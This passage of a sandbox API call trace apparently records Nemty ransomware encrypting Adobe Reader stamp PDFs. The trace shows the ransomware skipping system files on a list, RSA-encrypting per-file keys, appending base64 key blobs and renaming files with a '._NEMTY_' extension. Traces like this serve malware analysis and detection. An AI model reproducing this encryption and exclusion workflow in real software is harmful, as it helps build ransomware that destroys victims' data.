lpOverlapped=0x0) returned 1 [0188.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.889] SetFilePointer (in: hFile=0x320, lDistanceToMove=52268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc2c [0188.889] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.889] CloseHandle (hObject=0x320) returned 1 [0188.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.889] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.890] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xffc9, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2=".") returned 1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="..") returned 1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="...") returned 1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="windows") returned -1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="rsa") returned -1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="NTDETECT.COM") returned -1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntldr") returned -1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="MSDOS.SYS") returned -1 [0188.890] lstrcmpiW (lpString1="Hanko.pdf", lpString2="IO.SYS") returned -1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntuser.dat") returned -1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="desktop.ini") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="CONFIG.SYS") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="RECYCLER") returned -1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="bootmgr") returned 1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="programdata") returned -1 [0188.891] lstrcmpiW (lpString1="Hanko.pdf", lpString2="appdata") returned 1 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.891] Sleep (dwMilliseconds=0x5) [0188.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243d2e90, dwHighDateTime=0x1d561e8)) [0188.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243d2e90, dwHighDateTime=0x1d561e8)) [0188.898] GetLastError () returned 0x0 [0188.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.898] GetLastError () returned 0x0 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.899] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.899] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="ufByCJOGJrK2CpqNOXc9/lQSB46RuBz+cbfLxReovkmBwmoNMw6QTBZ+/3wp0ze1\r\nylKnzIzzD3aPY3n+p+YyLnEYKOSu3V0tatqtZpEVap48XLGvZDgqElQzbsAjMsOo\r\njhVx4mnL+1wPco8qVAGahJyxgHNIizTEswi1QCR4pzHPb7hAJ8KnAw+eSjy6iTep\r\ndLdamxqCmQ3ptl7qyiBkcFsy8XuKCyS9T92eAIDLXNc3jEbXKwCiNwemfQh3OgeZ\r\n4fEVIh80xR9e5F1NkBySYvmbjYmELJZ9+pqFdGxGC0zUP/Js4OJQsvEjL5Os7U/k\r\nISTOV+CO8LPtTeN3unvljA==\r\n", pcchString=0x653df5c) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.899] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.899] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=65481) returned 1 [0188.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xffc0) returned 0x6352c48 [0188.899] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.900] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xffc0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xffc0, lpOverlapped=0x0) returned 1 [0188.906] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.906] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xffc0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xffc0, lpOverlapped=0x0) returned 1 [0188.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.906] SetFilePointer (in: hFile=0x320, lDistanceToMove=65481, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffc9 [0188.906] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.906] CloseHandle (hObject=0x320) returned 1 [0188.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.907] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf._nemty_kgobjgd_")) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.907] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa447, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.907] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.907] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.907] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.908] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.909] Sleep (dwMilliseconds=0x5) [0188.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243f8ff0, dwHighDateTime=0x1d561e8)) [0188.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243f8ff0, dwHighDateTime=0x1d561e8)) [0188.914] GetLastError () returned 0x0 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.914] GetLastError () returned 0x0 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.914] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.914] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="6gTu7YHrEPd4leO8Be0rwud4RLfyzQtPuRa4jWxBFQAg7vT6uiwTb7P6RdWn2QWt\r\neUnca3SqN3k1CpGc1amW+ngO257zqnaKQYkMagXjg7L+FpYiCT2REiPHGbwj2mZ3\r\nNgR3rLX9du/wnsCu0goLwZ8WeZoYCBJVBnfIvSpKkKWl4YAks6SjH3UKmD3roAJk\r\nWG4jgrM7I57u1nQ1ISNnA9tbCQ7jYiyWTBf2inbh3gJKLScpdQZHwwq0Uno9I2Hg\r\nMhxOsExsjvaYV82infxnkE+oMFp0XDC3ZhudMDTkBDhXUo/hN4pj2K61sC0B3wxz\r\nWIR5mIxf0UDzgbiKFzNftQ==\r\n", pcchString=0x653df5c) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 